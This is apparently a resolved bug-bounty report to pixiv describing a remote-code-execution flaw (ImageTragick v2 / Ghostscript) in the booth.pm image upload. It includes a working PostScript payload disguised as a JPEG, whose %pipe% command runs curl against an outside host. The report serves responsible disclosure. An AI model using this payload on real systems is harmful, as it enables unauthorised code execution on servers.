RCE due to ImageTragick v2
Critical
P
pixiv
Submitted None
Actions:
Reported by
chaosbolt
Vulnerability Details
Technical details and impact analysis
Hello Pixiv team! Your Image processing process suffering from ImageTragick v2. Issue is caused by ghostscript RCE findnings.
How to reproduce:
PATCH /design
Host: manage.booth.pm
send following image:
```
------WebKitFormBoundaryXX05yrKS4g8d9CWh
Content-Disposition: form-data; name="shop[header]"; filename="imagetragick.jpeg"
Content-Type: image/jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl https://avtohanter.ru/qwetest) currentdevice putdeviceprops
------WebKitFormBoundaryXX05yrKS4g8d9CWh--
```
How to fix:
Update ImageMagick, should help
## Impact
Remote Code Execution
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$2000.00
Submitted
Weakness
Code Injection